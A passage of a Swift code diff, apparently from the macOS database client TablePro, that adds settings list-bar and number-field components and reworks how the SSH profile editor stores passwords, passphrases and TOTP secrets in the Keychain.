help: removeHelp, + identifier: removeIdentifier, + action: onRemove + ) .disabled(!canRemove) } - .controlGroupStyle(.navigation) - .controlSize(.small) .fixedSize() } } + +// Measured from System Settings > General > Login Items on macOS 27. +enum ListBarMetrics { + static let contentHeight: CGFloat = 23 + static let height: CGFloat = contentHeight + 1 + static let buttonWidth: CGFloat = 24 + static let separatorHeight: CGFloat = 16 +} + +struct ListBarButton: View { + let label: String + let systemImage: String + var help: String? + var identifier: String? + let action: () -> Void + + var body: some View { + Button(action: action) { + Label(label, systemImage: systemImage) + .labelStyle(.iconOnly) + .font(.system(size: NSFont.smallSystemFontSize)) + .frame(width: ListBarMetrics.buttonWidth, height: ListBarMetrics.contentHeight) + .contentShape(Rectangle()) + } + .buttonStyle(.borderless) + .help(help ?? label) + .accessibilityLabel(label) + .accessibilityIdentifier(identifier ?? "") + } +} + +struct ListBarSeparator: View { + var body: some View { + Divider() + .frame(height: ListBarMetrics.separatorHeight) + } +} + +struct ListBar: View { + @ViewBuilder let content: Content + + var body: some View { + VStack(spacing: 0) { + Divider() + HStack(spacing: 0) { + content + Spacer(minLength: 0) + } + .frame(minHeight: ListBarMetrics.contentHeight) + } + } +} + +extension View { + // An overlay, not a safe area inset: an inset shrinks a bordered list and leaves the bar outside its border. + // The caller's list height counts ListBarMetrics.height, so no row ever sits under the bar. + func listBar(@ViewBuilder _ content: () -> Content) -> some View { + overlay(alignment: .bottom) { + ListBar(content: content) + } + } +} diff --git a/apple/TablePro/Views/Connection/SSHProfileEditorView.swift b/apple/TablePro/Views/Connection/SSHProfileEditorView.swift index 4bdbf914ac..b989517cf0 100644 --- a/apple/TablePro/Views/Connection/SSHProfileEditorView.swift +++ b/apple/TablePro/Views/Connection/SSHProfileEditorView.swift @@ -24,14 +24,14 @@ struct SSHProfileEditorView: View { @State private var username: String = "" @State private var authMethod: SSHAuthMethod = .password - @State private var password = StoredSecretDraft(stored: .absent) + @State private var sshPassword: String = "" @State private var privateKeyPath: String = "" - @State private var keyPassphrase = StoredSecretDraft(stored: .absent) + @State private var keyPassphrase: String = "" @State private var agentSocketOption: SSHAgentSocketOption = .systemDefault @State private var customAgentSocketPath: String = "" @State private var totpMode: TOTPMode = .none - @State private var totpSecret = StoredSecretDraft(stored: .absent) + @State private var totpSecret: String = "" @State private var totpAlgorithm: TOTPAlgorithm = .sha1 @State private var totpDigits: Int = 6 @State private var totpPeriod: Int = 30 @@ -41,8 +41,6 @@ struct SSHProfileEditorView: View { @State private var sshConfigEntries: [SSHConfigEntry] = [] @State private var selectedSSHConfigHost: String = "" - // Read once on appear: the profiles live in UserDefaults and body runs on every keystroke. - @State private var isStored = false @State private var showingDeleteConfirmation = false @State private var saveError: String? @State private var connectionsUsingProfile = 0 @@ -51,7 +49,10 @@ struct SSHProfileEditorView: View { @State private var testError: String? @State private var testTask: Task? - private var storage: SSHProfileStorage { .shared } + private var isStoredProfile: Bool { + guard let profile = existingProfile else { return false } + return SSHProfileStorage.shared.profile(for: profile.id) != nil + } private var isValid: Bool { let nameValid = !profileName.trimmingCharacters(in: .whitespaces).isEmpty @@ -67,18 +68,8 @@ struct SSHProfileEditorView: View { agentSocketOption.resolvedPath(customPath: customAgentSocketPath) } - private var usesPassword: Bool { - authMethod == .password || authMethod == .keyboardInteractive - } - var body: some View { VStack(spacing: 0) { - ProfileSheetHeader( - title: isStored ? String(localized: "Edit SSH Profile") : String(localized: "New SSH Profile"), - subtitle: String(localized: "Connections that use this profile reach their database through this SSH server.") - ) - Divider() - Form { Section(String(localized: "Profile")) { TextField(String(localized: "Name"), text: $profileName, prompt: Text("My Server")) @@ -98,7 +89,7 @@ struct SSHProfileEditorView: View { Divider() bottomBar } - .frame(minWidth: 520, minHeight: 440, idealHeight: 560) + .frame(minWidth: 480, idealHeight: 500) .onAppear { loadExistingProfile() } @@ -110,13 +101,13 @@ struct SSHProfileEditorView: View { .onChange(of: port) { _ in testSucceeded = false } .onChange(of: username) { _ in testSucceeded = false } .onChange(of: authMethod) { _ in testSucceeded = false } - .onChange(of: password.text) { _ in testSucceeded = false } + .onChange(of: sshPassword) { _ in testSucceeded = false } .onChange(of: privateKeyPath) { _ in testSucceeded = false } - .onChange(of: keyPassphrase.text) { _ in testSucceeded = false } + .onChange(of: keyPassphrase) { _ in testSucceeded = false } .onChange(of: agentSocketOption) { _ in testSucceeded = false } .onChange(of: customAgentSocketPath) { _ in testSucceeded = false } .onChange(of: totpMode) { _ in testSucceeded = false } - .onChange(of: totpSecret.text) { _ in testSucceeded = false } + .onChange(of: totpSecret) { _ in testSucceeded = false } .onChange(of: jumpHosts) { _ in testSucceeded = false } .onDisappear { testTask?.cancel() @@ -152,12 +143,11 @@ struct SSHProfileEditorView: View { Section(String(localized: "Authentication")) { Picker(String(localized: "Method"), selection: $authMethod) { ForEach(SSHAuthMethod.allCases) { method in - Text(method.displayName).tag(method) + Text(method.rawValue).tag(method) } } if authMethod == .password { - SecureField(String(localized: "Password"), text: $password.text) - StoredSecretNotice(draft: $password) + SecureField(String(localized: "Password"), text: $sshPassword) } else if authMethod == .sshAgent { Picker(String(localized: "Agent Socket"), selection: $agentSocketOption) { ForEach(SSHAgentSocketOption.allCases) { option in @@ -177,7 +167,8 @@ struct SSHProfileEditorView: View { LabeledContent(String(localized: "Identity File")) { HStack { TextField("", text: $privateKeyPath, prompt: Text("~/.ssh/id_ed25519.pub")) - Button(String(localized: "Browse…")) { browseForPrivateKey() } + Button(String(localized: "Browse")) { browseForPrivateKey() } + .controlSize(.small) } } Text(String(localized: """ @@ -187,8 +178,7 @@ struct SSHProfileEditorView: View { .font(.caption) .foregroundStyle(.secondary) } else if authMethod == .keyboardInteractive { - SecureField(String(localized: "Password"), text: $password.text) - StoredSecretNotice(draft: $password) + SecureField(String(localized: "Password"), text: $sshPassword) Text(String(localized: "Password is sent via keyboard-interactive challenge-response.")) .font(.caption) .foregroundStyle(.secondary) @@ -200,11 +190,11 @@ struct SSHProfileEditorView: View { LabeledContent(String(localized: "Key File")) { HStack { TextField("", text: $privateKeyPath, prompt: Text("~/.ssh/id_rsa")) - Button(String(localized: "Browse…")) { browseForPrivateKey() } + Button(String(localized: "Browse")) { browseForPrivateKey() } + .controlSize(.small) } } - SecureField(String(localized: "Passphrase"), text: $keyPassphrase.text) - StoredSecretNotice(draft: $keyPassphrase) + SecureField(String(localized: "Passphrase"), text: $keyPassphrase) } } } @@ -220,9 +210,8 @@ struct SSHProfileEditorView: View { } if totpMode == .autoGenerate { - SecureField(String(localized: "TOTP Secret"), text: $totpSecret.text) + SecureField(String(localized: "TOTP Secret"), text: $totpSecret) .help(String(localized: "Base32-encoded secret from your authenticator setup")) - StoredSecretNotice(draft: $totpSecret) Picker(String(localized: "Algorithm"), selection: $totpAlgorithm) { ForEach(TOTPAlgorithm.allCases) { algo in @@ -270,16 +259,17 @@ struct SSHProfileEditorView: View { } Picker(String(localized: "Auth"), selection: jumpHostBinding.authMethod) { ForEach(SSHJumpAuthMethod.allCases) { method in - Text(Self.jumpAuthLabel(method)).tag(method) + Text(method.rawValue).tag(method) } } if jumpHost.authMethod == .privateKey { LabeledContent(String(localized: "Key File")) { HStack { TextField("", text: jumpHostBinding.privateKeyPath, prompt: Text("~/.ssh/id_rsa")) - Button(String(localized: "Browse…")) { + Button(String(localized: "Browse")) { browseForJumpHostKey(jumpHost: jumpHostBinding) } + .controlSize(.small) } } } @@ -296,9 +286,11 @@ struct SSHProfileEditorView: View { let idToRemove = jumpHost.id withMotion { jumpHosts.removeAll { $0.id == idToRemove } } } label: { - Image(systemName: "minus.circle") + Image(systemName: "minus.circle.fill") + .frame(width: 24, height: 24) + .foregroundStyle(.red) } - .buttonStyle(.borderless) + .buttonStyle(.plain) .accessibilityLabel(String(localized: "Remove jump host")) } } @@ -320,36 +312,31 @@ struct SSHProfileEditorView: View { } } - private static func jumpAuthLabel(_ method: SSHJumpAuthMethod) -> String { - switch method { - case .privateKey: String(localized: "Private Key") - case .sshAgent: String(localized: "SSH Agent") - } - } - // MARK: - Bottom Bar private var bottomBar: some View { HStack { - if isStored { + if isStoredProfile { Button(role: .destructive) { - let profileId = existingProfile?.id connectionsUsingProfile = ConnectionStorage.shared.loadConnections() - .filter { connection in profileId.map { connection.isLinked(toSSHProfile: $0) } ?? false } + .filter { connection in + guard case .profile(let id, _) = connection.sshTunnelMode else { return false } + return id == existingProfile?.id + } .count showingDeleteConfirmation = true } label: { Text("Delete Profile") } .alert( - String(localized: "Delete SSH Profile?"), + "Delete SSH Profile?", isPresented: $showingDeleteConfirmation ) { - Button(String(localized: "Delete"), role: .destructive) { deleteProfile() } - Button(String(localized: "Cancel"), role: .cancel) {} + Button("Delete", role: .destructive) { deleteProfile() } + Button("Cancel", role: .cancel) {} } message: { if connectionsUsingProfile > 0 { - Text("Used by ^[\(connectionsUsingProfile) connection](inflect: true). Each keeps this configuration as its own SSH tunnel.") + Text("\(connectionsUsingProfile) connection(s) use this profile. They keep this configuration as their own SSH tunnel.") } else { Text("This profile will be permanently deleted.") } @@ -379,7 +366,7 @@ struct SSHProfileEditorView: View { if let saveError { NoticeLabel(saveError, severity: .error) .font(.caption) - .lineLimit(3) + .lineLimit(2) .truncationMode(.tail) } else if testSucceeded { NoticeLabel(String(localized: "Connected"), severity: .success) @@ -393,10 +380,10 @@ struct SSHProfileEditorView: View { Spacer() - Button(String(localized: "Cancel")) { dismiss() } + Button("Cancel") { dismiss() } .keyboardShortcut(.cancelAction) - Button(isStored ? String(localized: "Save") : String(localized: "Create")) { saveProfile() } + Button(isStoredProfile ? "Save" : "Create") { saveProfile() } .keyboardShortcut(.defaultAction) .disabled(!isValid) } @@ -407,7 +394,6 @@ struct SSHProfileEditorView: View { private func loadExistingProfile() { guard let profile = existingProfile else { return } - isStored = storage.profile(for: profile.id) != nil profileName = profile.name host = profile.host port = profile.port.map(String.init) ?? "" @@ -426,24 +412,17 @@ struct SSHProfileEditorView: View { customAgentSocketPath = profile.agentSocketPath } - // The fallbacks are what "Save Current as Profile" carries over from the inline tunnel. - password = StoredSecretDraft( - stored: storage.storedSecret(.password, for: profile.id), - fallback: initialPassword - ) - keyPassphrase = StoredSecretDraft( - stored: storage.storedSecret(.keyPassphrase, for: profile.id), - fallback: initialKeyPassphrase - ) - totpSecret = StoredSecretDraft( - stored: storage.storedSecret(.totpSecret, for: profile.id), - fallback: initialTOTPSecret - ) + // Load secrets from Keychain, falling back to initial values (e.g. from "Save as Profile") + sshPassword = SSHProfileStorage.shared.loadSSHPassword(for: profile.id) ?? initialPassword ?? "" + keyPassphrase = SSHProfileStorage.shared.loadKeyPassphrase(for: profile.id) ?? initialKeyPassphrase ?? "" + totpSecret = SSHProfileStorage.shared.loadTOTPSecret(for: profile.id) ?? initialTOTPSecret ?? "" } private func saveProfile() { + let profileId = existingProfile?.id ?? UUID() + let profile = SSHProfile( - id: existingProfile?.id ?? UUID(), + id: profileId, name: profileName.trimmingCharacters(in: .whitespaces), host: host, port: Int(port), @@ -458,32 +437,39 @@ struct SSHProfileEditorView: View { totpPeriod: totpPeriod ) - let outcome = storage.save(profile, isNew: !isStored, secrets: [ - .password: password.change(inUse: usesPassword), - .keyPassphrase: keyPassphrase.change(inUse: authMethod == .privateKey), - .totpSecret: totpSecret.change(inUse: totpMode == .autoGenerate), - ]) + let persisted = isStoredProfile + ? SSHProfileStorage.shared.updateProfile(profile) + : SSHProfileStorage.shared.addProfile(profile) - switch outcome { - case .recordNotSaved: + /// The keychain writes below are keyed by the profile id, so running them for a profile + /// that never reached disk would leave secrets nothing can name. Dismissing would also + /// report a save that did not happen. + guard persisted else { saveError = String(localized: "Could not save the profile. Reopen the SSH settings and try again.") - case .secretsNotSaved(let kinds): - // The record exists now, so a retry has to update it rather than add a second one. - isStored = true - saveError = StoredSecretCopy.notStoredMessage(kinds.map(Self.secretName)) - case .saved: - saveError = nil - onSave?(profile) - dismiss() + return + } + saveError = nil + + if (authMethod == .password || authMethod == .keyboardInteractive) && !sshPassword.isEmpty { + SSHProfileStorage.shared.saveSSHPassword(sshPassword, for: profileId) + } else { + SSHProfileStorage.shared.deleteSSHPassword(for: profileId) + } + + if authMethod == .privateKey && !keyPassphrase.isEmpty { + SSHProfileStorage.shared.saveKeyPassphrase(keyPassphrase, for: profileId) + } else { + SSHProfileStorage.shared.deleteKeyPassphrase(for: profileId) } - } - private static func secretName(_ kind: SSHProfileStorage.SecretKind) -> String { - switch kind { - case .password: String(localized: "the password") - case .keyPassphrase: String(localized: "the key passphrase") - case .totpSecret: String(localized: "the TOTP secret") + if totpMode == .autoGenerate && !totpSecret.isEmpty { + SSHProfileStorage.shared.saveTOTPSecret(totpSecret, for: profileId) + } else { + SSHProfileStorage.shared.deleteTOTPSecret(for: profileId) } + + onSave?(profile) + dismiss() } func testSSHConnection() { @@ -507,9 +493,9 @@ struct SSHProfileEditorView: View { ) let credentials = SSHTunnelCredentials( - sshPassword: password.text.isEmpty ? nil : password.text, - keyPassphrase: keyPassphrase.text.isEmpty ? nil : keyPassphrase.text, - totpSecret: totpSecret.text.isEmpty ? nil : totpSecret.text, + sshPassword: sshPassword.isEmpty ? nil : sshPassword, + keyPassphrase: keyPassphrase.isEmpty ? nil : keyPassphrase, + totpSecret: totpSecret.isEmpty ? nil : totpSecret, keyboardInteractivePromptProvider: nil ) @@ -536,7 +522,7 @@ struct SSHProfileEditorView: View { private func deleteProfile() { guard let profile = existingProfile else { return } - guard storage.deleteProfile(profile) else { + guard SSHProfileStorage.shared.deleteProfile(profile) else { saveError = String(localized: "Could not delete the profile. Reopen the SSH settings and try again.") return } @@ -579,58 +565,3 @@ struct SSHProfileEditorView: View { } } } - -// MARK: - Shared by the profile sheets - -struct ProfileSheetHeader: View { - let title: String - let subtitle: String - - var body: some View { - VStack(alignment: .leading, spacing: 2) { - Text(title) - .font(.headline) - .accessibilityAddTraits(.isHeader) - Text(subtitle) - .font(.subheadline) - .foregroundStyle(.secondary) - .fixedSize(horizontal: false, vertical: true) - } - .frame(maxWidth: .infinity, alignment: .leading) - .padding(20) - } -} - -// Shown under a secret field whose saved value the Keychain would not return. -struct StoredSecretNotice: View { - @Binding var draft: StoredSecretDraft - - var body: some View { - if draft.showsUnreadableNotice { - LabeledContent { - if draft.removesUnreadable { - Button(String(localized: "Keep")) { draft.removesUnreadable = false } - } else { - Button(String(localized: "Remove")) { draft.removesUnreadable = true } - } - } label: { - NoticeLabel( - draft.removesUnreadable - ? String(localized: "The saved value is removed when you save.") - : String(localized: "The Keychain could not read the saved value, so it is not shown. Saving keeps it unless you type a new one.") - ) - .font(.caption) - } - } - } -} - -enum StoredSecretCopy { - static func notStoredMessage(_ names: [String]) -> String { - let list = ListFormatter.localizedString(byJoining: names) - let template = names.count == 1 - ? String(localized: "The profile was saved, but the Keychain could not store %@. Enter it again and click Save.") - : String(localized: "The profile was saved, but the Keychain could not store %@. Enter them again and click Save.") - return String(format: template, list) - } -} diff --git a/apple/TablePro/Views/Settings/Components/SettingsFormat.swift b/apple/TablePro/Views/Settings/Components/SettingsFormat.swift new file mode 100644 index 0000000000..48369c424d --- /dev/null +++ b/apple/TablePro/Views/Settings/Components/SettingsFormat.swift @@ -0,0 +1,38 @@ +import Foundation + +enum SettingsFormat { + static var ungrouped: IntegerFormatStyle { .number.grouping(.never) } + + static func duration(seconds: Int, locale: Locale = .autoupdatingCurrent) -> String { + Duration.seconds(seconds).formatted( + Duration.UnitsFormatStyle(allowedUnits: [.hours, .minutes, .seconds], width: .wide).locale(locale) + ) + } + + static func count(_ value: Int, locale: Locale = .autoupdatingCurrent) -> String { + value.formatted(.number.locale(locale)) + } + + // Ports and identifiers: "23508", never "23,508" or "23.508". + static func identifier(_ value: Int, locale: Locale = .autoupdatingCurrent) -> String { + value.formatted(ungrouped.locale(locale)) + } + + // Whole years read as "1 year" rather than "365 days". + static func days(_ days: Int, locale: Locale = .autoupdatingCurrent) -> String { + let formatter = DateComponentsFormatter() + formatter.unitsStyle = .full + var calendar = Calendar.autoupdatingCurrent + calendar.locale = locale + formatter.calendar = calendar + let components: DateComponents + if days != 0, days.isMultiple(of: 365) { + formatter.allowedUnits = [.year] + components = DateComponents(year: days / 365) + } else { + formatter.allowedUnits = [.day] + components = DateComponents(day: days) + } + return formatter.string(from: components) ?? count(days, locale: locale) + } +} diff --git a/apple/TablePro/Views/Settings/Components/SettingsFullPageList.swift b/apple/TablePro/Views/Settings/Components/SettingsFullPageList.swift new file mode 100644 index 0000000000..ab753adf2c --- /dev/null +++ b/apple/TablePro/Views/Settings/Components/SettingsFullPageList.swift @@ -0,0 +1,46 @@ +import AppKit +import SwiftUI + +// Not a grouped Form: a List inside one does not scroll. +struct SettingsFullPageList: View { + private static var borderWidth: CGFloat { 1 } + + private let content: Content + private let emptyState: EmptyState + private let bar: Bar + + init( + @ViewBuilder content: () -> Content, + @ViewBuilder emptyState: () -> EmptyState = { EmptyView() }, + @ViewBuilder bar: () -> Bar = { EmptyView() } + ) { + self.content = content() + self.emptyState = emptyState() + self.bar = bar() + } + + var body: some View { + list + .frame(maxHeight: .infinity) + .padding(20) + } + + @ViewBuilder + private var list: some View { + let bordered = content + .listStyle(.bordered(alternatesRowBackgrounds: false)) + .overlay { emptyState } + + if Bar.self == EmptyView.self { + bordered + } else { + // An inset, unlike the .listBar overlay, scrolls the last row clear of the bar. + bordered.safeAreaInset(edge: .bottom, spacing: 0) { + ListBar { bar } + // Rows scroll under the bar, so it needs the list's fill, kept inside the border. + .background(Color(nsColor: .controlBackgroundColor)) + .padding([.horizontal, .bottom], Self.borderWidth) + } + } + } +} diff --git a/apple/TablePro/Views/Settings/Components/SettingsListBar.swift b/apple/TablePro/Views/Settings/Components/SettingsListBar.swift new file mode 100644 index 0000000000..ce3b27fc76 --- /dev/null +++ b/apple/TablePro/Views/Settings/Components/SettingsListBar.swift @@ -0,0 +1,252 @@ +import AppKit +import SwiftUI + +// Only the row: SettingsFullPageList draws the bar's divider and fill inside the list's border. +struct SettingsListBar: View { + private struct AddRemove { + let addLabel: String + let removeLabel: String + let canAdd: Bool + let canRemove: Bool + let addHelp: String? + let removeHelp: String? + let addIdentifier: String? + let removeIdentifier: String? + // nil when + opens the add menu. + let onAdd: (() -> Void)? + let onRemove: () -> Void + } + + private static var slotInset: CGFloat { 8 } + + private let addRemove: AddRemove? + private let addMenu: AddMenu + private let actionsLabel: String + private let actionsIdentifier: String? + private let actions: Actions + private let leading: Leading + private let trailing: Trailing + + private init( + addRemove: AddRemove?, + addMenu: AddMenu, + actionsLabel: String, + actionsIdentifier: String?, + actions: Actions, + leading: Leading, + trailing: Trailing + ) { + self.addRemove = addRemove + self.addMenu = addMenu + self.actionsLabel = actionsLabel + self.actionsIdentifier = actionsIdentifier + self.actions = actions + self.leading = leading + self.trailing = trailing + } + + init( + addLabel: String, + removeLabel: String, + canAdd: Bool = true, + canRemove: Bool = true, + addHelp: String? = nil, + removeHelp: String? = nil, + addIdentifier: String? = nil, + removeIdentifier: String? = nil, + @ViewBuilder addMenu: () -> AddMenu, + onRemove: @escaping () -> Void, + actionsLabel: String = String(localized: "Actions"), + actionsIdentifier: String? = nil, + @ViewBuilder actions: () -> Actions = { EmptyView() }, + @ViewBuilder leading: () -> Leading = { EmptyView() }, + @ViewBuilder trailing: () -> Trailing = { EmptyView() } + ) { + self.init( + addRemove: AddRemove( + addLabel: addLabel, + removeLabel: removeLabel, + canAdd: canAdd, + canRemove: canRemove, + addHelp: addHelp, + removeHelp: removeHelp, + addIdentifier: addIdentifier, + removeIdentifier: removeIdentifier, + onAdd: nil, + onRemove: onRemove + ), + addMenu: addMenu(), + actionsLabel: actionsLabel, + actionsIdentifier: actionsIdentifier, + actions: actions(), + leading: leading(), + trailing: trailing() + ) + } + + var body: some View { + HStack(spacing: 0) { + if let addRemove { + addControl(addRemove) + ListBarSeparator() + ListBarButton( + label: addRemove.removeLabel, + systemImage: "minus", + help: addRemove.removeHelp, + identifier: addRemove.removeIdentifier, + action: addRemove.onRemove + ) + .disabled(!addRemove.canRemove) + } + + if Self.isPresent(Actions.self) { + if addRemove != nil { + ListBarSeparator() + } + SettingsListBarMenu( + label: actionsLabel, + systemImage: "ellipsis.circle", + help: nil, + identifier: actionsIdentifier + ) { + actions + } + } + + if Self.isPresent(Leading.self) { + slot(leading) + } + + Spacer(minLength: 0) + + if Self.isPresent(Trailing.self) { + slot(trailing) + .fixedSize() + } + } + } + + @ViewBuilder + private func addControl(_ addRemove: AddRemove) -> some View { + if let onAdd = addRemove.onAdd { + ListBarButton( + label: addRemove.addLabel, + systemImage: "plus", + help: addRemove.addHelp, + identifier: addRemove.addIdentifier, + action: onAdd + ) + .disabled(!addRemove.canAdd) + } else { + SettingsListBarMenu( + label: addRemove.addLabel, + systemImage: "plus", + help: addRemove.addHelp, + identifier: addRemove.addIdentifier + ) { + addMenu + } + .disabled(!addRemove.canAdd) + } + } + + // A regular push button is taller than the 23pt bar. + private func slot(_ content: some View) -> some View { + content + .font(.subheadline) + .controlSize(.small) + .lineLimit(1) + .padding(.horizontal, Self.slotInset) + } + + private static func isPresent(_: V.Type) -> Bool { + V.self != EmptyView.self + } +} + +extension SettingsListBar where AddMenu == EmptyView { + init( + addLabel: String, + removeLabel: String, + canAdd: Bool = true, + canRemove: Bool = true, + addHelp: String? = nil, + removeHelp: String? = nil, + addIdentifier: String? = nil, + removeIdentifier: String? = nil, + onAdd: @escaping () -> Void, + onRemove: @escaping () -> Void, + actionsLabel: String = String(localized: "Actions"), + actionsIdentifier: String? = nil, + @ViewBuilder actions: () -> Actions = { EmptyView() }, + @ViewBuilder leading: () -> Leading = { EmptyView() }, + @ViewBuilder trailing: () -> Trailing = { EmptyView() } + ) { + self.init( + addRemove: AddRemove( + addLabel: addLabel, + removeLabel: removeLabel, + canAdd: canAdd, + canRemove: canRemove, + addHelp: addHelp, + removeHelp: removeHelp, + addIdentifier: addIdentifier, + removeIdentifier: removeIdentifier, + onAdd: onAdd, + onRemove: onRemove + ), + addMenu: EmptyView(), + actionsLabel: actionsLabel, + actionsIdentifier: actionsIdentifier, + actions: actions(), + leading: leading(), + trailing: trailing() + ) + } +} + +extension SettingsListBar where AddMenu == EmptyView, Actions == EmptyView { + init( + @ViewBuilder leading: () -> Leading = { EmptyView() }, + @ViewBuilder trailing: () -> Trailing = { EmptyView() } + ) { + self.init( + addRemove: nil, + addMenu: EmptyView(), + actionsLabel: "", + actionsIdentifier: nil, + actions: EmptyView(), + leading: leading(), + trailing: trailing() + ) + } +} + +private struct SettingsListBarMenu: View { + let label: String + let systemImage: String + let help: String? + let identifier: String? + @ViewBuilder let items: Items + + var body: some View { + Menu { + items + } label: { + Label(label, systemImage: systemImage) + .labelStyle(.iconOnly) + .font(.system(size: NSFont.smallSystemFontSize)) + .foregroundStyle(.secondary) + .frame(width: ListBarMetrics.buttonWidth, height: ListBarMetrics.contentHeight) + .contentShape(Rectangle()) + } + // Plain, not borderless: a borderless menu is an NSPopUpButton that ignores this label's font, color and frame. + .menuStyle(.button) + .buttonStyle(.plain) + .menuIndicator(.hidden) + .fixedSize() + .help(help ?? label) + .accessibilityLabel(label) + .accessibilityIdentifier(identifier ?? "") + } +} diff --git a/apple/TablePro/Views/Settings/Components/SettingsNumberField.swift b/apple/TablePro/Views/Settings/Components/SettingsNumberField.swift new file mode 100644 index 0000000000..5fa38897c4 --- /dev/null +++ b/apple/TablePro/Views/Settings/Components/SettingsNumberField.swift @@ -0,0 +1,161 @@ +import SwiftUI + +enum SettingsInvalidEntry: Equatable, Sendable { + case clamp + case reject(String) +} + +enum SettingsIntegerInput { + // Foundation's integer parsing reads "1,000" as 1 and "1e3" as 1000, so only a sign and decimal digits pass. + static func parse(_ text: String) -> Int? { + var digits = Substring(text.trimmingCharacters(in: .whitespacesAndNewlines)) + var isNegative = false + if let sign = digits.first, sign == "-" || sign == "\u{2212}" { + isNegative = true + digits = digits.dropFirst() + } + guard !digits.isEmpty else { return nil } + var magnitude = 0 + for character in digits { + guard character.unicodeScalars.count == 1, + let scalar = character.unicodeScalars.first, + scalar.properties.numericType == .decimal, + let digit = character.wholeNumberValue else { return nil } + let (shifted, shiftOverflow) = magnitude.multipliedReportingOverflow(by: 10) + let (sum, addOverflow) = shifted.addingReportingOverflow(digit) + guard !shiftOverflow, !addOverflow else { return nil } + magnitude = sum + } + return isNegative ? -magnitude : magnitude + } + + static func resolve(_ text: String, in range: ClosedRange, invalid: SettingsInvalidEntry) -> SettingsDraftResolution { + guard let number = parse(text) else { + switch invalid { + case .clamp: return .revert + case .reject(let message): return .reject(message) + } + } + if range.contains(number) { return .accept(number) } + switch invalid { + case .clamp: return .accept(min(max(number, range.lowerBound), range.upperBound)) + case .reject(let message): return .reject(message) + } + } +} + +struct SettingsNumberField: View { + private let title: LocalizedStringKey + private let subtitle: LocalizedStringKey? + @Binding private var value: Int + private let range: ClosedRange + private let step: Int? + private let unit: LocalizedStringResource? + private let width: CGFloat + private let invalid: SettingsInvalidEntry + private let identifier: String? + + @State private var draft: SettingsTextDraft + @FocusState private var isFocused: Bool + + init( + _ title: LocalizedStringKey, + subtitle: LocalizedStringKey? = nil, + value: Binding, + range: ClosedRange, + step: Int? = nil, + unit: LocalizedStringResource? = nil, + width: CGFloat = 64, + invalid: SettingsInvalidEntry = .clamp, + identifier: String? = nil + ) { + self.title = title + self.subtitle = subtitle + _value = value + self.range = range + self.step = step + self.unit = unit + self.width = width + self.invalid = invalid + self.identifier = identifier + _draft = State(initialValue: SettingsTextDraft(SettingsFormat.identifier(value.wrappedValue))) + } + + var body: some View { + LabeledContent { + HStack(alignment: .firstTextBaseline, spacing: 6) { + TextField(text: $draft.text, prompt: nil) { Text(title) } + .labelsHidden() + .textFieldStyle(.roundedBorder) + .multilineTextAlignment(.trailing) + .frame(width: width) + .focused($isFocused) + .onSubmit(commit) + .onExitCommand { draft.revert() } + .accessibilityIdentifier(identifier ?? "") + + if let step { + Stepper(value: stepperValue, in: range, step: step) { Text(title) } + .labelsHidden() + .accessibilityValue(Text(verbatim: spokenValue)) + .accessibilityIdentifier(identifier.map { "\($0)-stepper" } ?? "") + } + + if let unit { + Text(unit) + .foregroundStyle(.secondary) + } + } + } label: { + Text(title) + if let error = draft.error { + NoticeLabel(error, severity: .error) + } else if let subtitle { + Text(subtitle) + } + } + .onChange(of: isFocused) { focused in + if !focused { commit() } + } + .onChange(of: draft.text) { _ in + draft.clearError(ifResolvedBy: resolve) + } + .onChange(of: value) { newValue in + draft.resync(to: SettingsFormat.identifier(newValue)) + } + .onAppear { + draft.resync(to: SettingsFormat.identifier(value)) + } + .onDisappear(perform: commit) + } + + private var spokenValue: String { + let number = SettingsFormat.identifier(value) + guard let unit else { return number } + return "\(number) \(String(localized: unit))" + } + + private var stepperValue: Binding { + Binding( + get: { value }, + set: { stepped in + let clamped = min(max(stepped, range.lowerBound), range.upperBound) + if clamped != value { value = clamped } + draft.settle(to: SettingsFormat.identifier(value)) + } + ) + } + + private func resolve(_ text: String) -> SettingsDraftResolution { + SettingsIntegerInput.resolve(text, in: range, invalid: invalid) + } + + private func commit() { + if let committed = draft.commit(to: value, resolve: resolve) { + value = committed + } + if draft.error == nil { + draft.settle(to: SettingsFormat.identifier(value)) + } + } +} diff --git a/apple/TablePro/Views/Settings/Components/SettingsTextDraft.swift b/apple/TablePro/Views/Settings/Components/SettingsTextDraft.swift new file mode 100644 index 0000000000..ecdf479883 --- /dev/null +++ b/apple/TablePro/Views/Settings/Components/SettingsTextDraft.swift @@ -0,0 +1,68 @@ +import Foundation + +enum SettingsDraftResolution: Equatable { + case accept(Value) + case revert + case reject(String) +} + +// Storage sees a value only through commit: typing never writes, and an untouched draft never overwrites a remote change. +struct SettingsTextDraft: Equatable, Sendable { + var text: String + private(set) var seed: String + private(set) var error: String? + + init(_ seed: String) { + text = seed + self.seed = seed + } + + var isEdited: Bool { text != seed } + + mutating func revert() { + text = seed + error = nil + } + + mutating func resync(to value: String) { + if text == seed { + text = value + error = nil + } + seed = value + } + + mutating func settle(to value: String) { + text = value + seed = value + error = nil + } + + mutating func commit( + to current: Value, + resolve: (String) -> SettingsDraftResolution + ) -> Value? { + guard isEdited else { + error = nil + return nil + } + switch resolve(text) { + case .accept(let value): + error = nil + return value == current ? nil : value + case .revert: + revert() + return nil + case .reject(let message): + error = message + return nil + } + } + + mutating func clearError(ifResolvedBy resolve: (String) -> SettingsDraftResolution) { + guard error != nil else { return } + if case .accept = resolve(text) { + error = nil + } + } +} diff --git a/apple/TablePro/Views/Settings/Components/SettingsTextField.swift b/apple/TablePro/Views/Settings/Components/SettingsTextField.swift new file mode 100644 index 0000000000..fd813d4ac4 --- /dev/null +++ b/apple/TablePro/Views/Settings/Components/SettingsTextField.swift @@ -0,0 +1,65 @@ +import SwiftUI + +struct SettingsTextField: View { + private let title: LocalizedStringKey + private let subtitle: LocalizedStringKey? + @Binding private var text: String + private let prompt: Text? + private let validate: (String) -> String? + private let normalize: (String) -> String + + @State private var draft: SettingsTextDraft + @FocusState private var isFocused: Bool + + init( + _ title: LocalizedStringKey, + subtitle: LocalizedStringKey? = nil, + text: Binding, + prompt: Text? = nil, + validate: @escaping (String) -> String? = { _ in nil }, + normalize: @escaping (String) -> String = { $0 } + ) { + self.title = title + self.subtitle = subtitle + _text = text + self.prompt = prompt + self.validate = validate + self.normalize = normalize + _draft = State(initialValue: SettingsTextDraft(text.wrappedValue)) + } + + var body: some View { + TextField(text: $draft.text, prompt: prompt) { + Text(title) + if let error = validate(draft.text) { + NoticeLabel(error, severity: .error) + } else if let subtitle { + Text(subtitle) + } + } + .focused($isFocused) + .onSubmit(commit) + .onExitCommand { draft.revert() } + .onChange(of: isFocused) { focused in + if 